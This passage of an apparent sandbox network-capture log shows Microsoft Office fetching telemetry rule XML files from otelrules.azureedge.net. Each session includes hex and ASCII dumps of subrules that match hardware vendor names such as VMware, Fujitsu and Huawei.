2024-11-23 14:37:32 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:32 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143732Z-178bfbc474bbbqrhhC1NYCvw7400000004r000000000b1f0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:32 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:32 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 21648528-e01e-003c-794e-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143732Z-178bfbc474btrnf9hC1NYCb80g00000004ng00000000huyp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:32 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:33 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143733Z-174c587ffdf89smkhC1TEB697s000000031000000000nxpv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:33 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:32 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:33 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: d05e48d4-001e-0065-1c06-3d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143733Z-178bfbc474brk967hC1NYCfu6000000004a000000000f9ec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:33 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:32 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:33 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 44e9982d-301e-001f-6639-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143733Z-15b8b599d88vp97chC1TEB5pzw000000031000000000a134 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:33 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:34 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c28a24b9-601e-0097-1e86-3df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143734Z-15b8b599d882hxlwhC1TEBfa5w00000002w000000000f60c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 14:37:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:34 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 7a05741d-701e-0021-0754-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143735Z-15b8b599d882zv28hC1TEBdchn00000002x000000000dg5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:34 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:35 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 90548f26-b01e-0021-643a-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143735Z-178bfbc474bh5zbqhC1NYCkdug00000004hg000000008h7c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:35 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:35 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143735Z-174c587ffdfb485jhC1TEBmc1s00000002tg00000000m3ma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:35 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:35 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c569ec8c-a01e-003d-0e22-3d98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143735Z-178bfbc474bfw4gbhC1NYCunf400000004q0000000002g35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:35 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:36 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:37 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ed298b8a-a01e-0002-322d-3c5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143737Z-178bfbc474bv587zhC1NYCny5w00000004cg00000000ffqz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:37 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:37 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:37 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143737Z-178bfbc474bw8bwphC1NYC38b400000004d000000000asvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" 